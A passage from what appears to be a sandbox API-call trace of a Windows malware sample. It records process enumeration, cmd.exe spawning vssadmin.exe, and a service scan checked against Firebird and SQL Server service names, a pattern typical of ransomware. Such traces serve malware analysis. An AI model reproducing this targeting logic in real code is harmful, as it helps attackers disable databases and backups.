(lpString="taskeng.exe") returned 11 [0045.532] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.533] lstrlenW (lpString="taskhost.exe") returned 12 [0045.533] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0045.537] lstrlenW (lpString="obligations-breath.exe") returned 22 [0045.537] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0045.538] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0045.538] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0045.539] lstrlenW (lpString="achieving.exe") returned 13 [0045.539] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0045.539] lstrlenW (lpString="venice.exe") returned 10 [0045.539] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0045.540] lstrlenW (lpString="owns.exe") returned 8 [0045.540] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0045.541] lstrlenW (lpString="faster momentum.exe") returned 19 [0045.541] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0045.550] lstrlenW (lpString="vital_reasons.exe") returned 17 [0045.550] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0045.551] lstrlenW (lpString="everyone.exe") returned 12 [0045.551] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0045.761] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0045.761] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0045.762] lstrlenW (lpString="bored_excluded.exe") returned 18 [0045.762] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0045.763] lstrlenW (lpString="mothers.exe") returned 11 [0045.763] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0045.764] lstrlenW (lpString="career-fed.exe") returned 14 [0045.764] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0045.764] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0045.764] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0045.765] lstrlenW (lpString="initial_utilization.exe") returned 23 [0045.765] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0045.766] lstrlenW (lpString="cf-represent.exe") returned 16 [0045.766] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0045.767] lstrlenW (lpString="tue.exe") returned 7 [0045.767] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0045.768] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0045.768] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0045.769] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0045.769] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0045.769] lstrlenW (lpString="stuff_event.exe") returned 15 [0045.769] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0045.770] lstrlenW (lpString="keywords-copies.exe") returned 19 [0045.770] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0045.771] lstrlenW (lpString="lap.exe") returned 7 [0045.771] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.772] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.772] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0045.772] lstrlenW (lpString="chrome64b.exe") returned 13 [0045.772] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.773] lstrlenW (lpString="cmd.exe") returned 7 [0045.773] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.774] lstrlenW (lpString="conhost.exe") returned 11 [0045.774] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.774] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.774] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.775] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.775] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.776] lstrlenW (lpString="svchost.exe") returned 11 [0045.776] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.776] CloseHandle (hObject=0x17c) returned 1 [0045.776] Sleep (dwMilliseconds=0x1f4) [0046.285] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0f8 [0046.286] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0046.286] GetLastError () returned 0xea [0046.286] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0046.286] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0046.287] CloseServiceHandle (hSCObject=0x64a0f8) returned 1 [0046.287] lstrlenW (lpString="Appinfo") returned 7 [0046.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.287] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.287] lstrlenW (lpString="AudioSrv") returned 8 [0046.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.287] lstrlenW (lpString="BFE") returned 3 [0046.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0046.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.287] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.287] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.287] lstrlenW (lpString="CryptSvc") returned 8 [0046.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.288] lstrlenW (lpString="CscService") returned 10 [0046.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.288] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.288] lstrlenW (lpString="DcomLaunch") returned 10 [0046.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.288] lstrlenW (lpString="Dhcp") returned 4 [0046.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.288] lstrlenW (lpString="Dnscache") returned 8 [0046.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.288] lstrlenW (lpString="DPS") returned 3 [0046.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.289] lstrlenW (lpString="eventlog") returned 8 [0046.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.289] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.289] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.289] lstrlenW (lpString="EventSystem") returned 11 [0046.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.289] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.289] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.289] lstrlenW (lpString="gpsvc") returned 5 [0046.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.289] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.289] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.289] lstrlenW (lpString="iphlpsvc") returned 8 [0046.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.289] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.289] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.289] lstrlenW (lpString="LanmanServer") returned 12 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.290] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.290] lstrlenW (lpString="lmhosts") returned 7 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.290] lstrlenW (lpString="MMCSS") returned 5 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.290] lstrlenW (lpString="MpsSvc") returned 6 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.290] lstrlenW (lpString="Netman") returned 6 [0046.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.291] lstrlenW (lpString="netprofm") returned 8 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.291] lstrlenW (lpString="NlaSvc") returned 6 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.291] lstrlenW (lpString="nsi") returned 3 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.291] lstrlenW (lpString="PcaSvc") returned 6 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.291] lstrlenW (lpString="PlugPlay") returned 8 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.291] lstrlenW (lpString="Power") returned 5 [0046.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.292] lstrlenW (lpString="ProfSvc") returned 7 [0046.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.292] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.292] lstrlenW (lpString="RpcSs") returned 5 [0046.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.292] lstrlenW (lpString="SamSs") returned 5 [0046.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.292] lstrlenW (lpString="Schedule") returned 8 [0046.292] lstrcmpiW 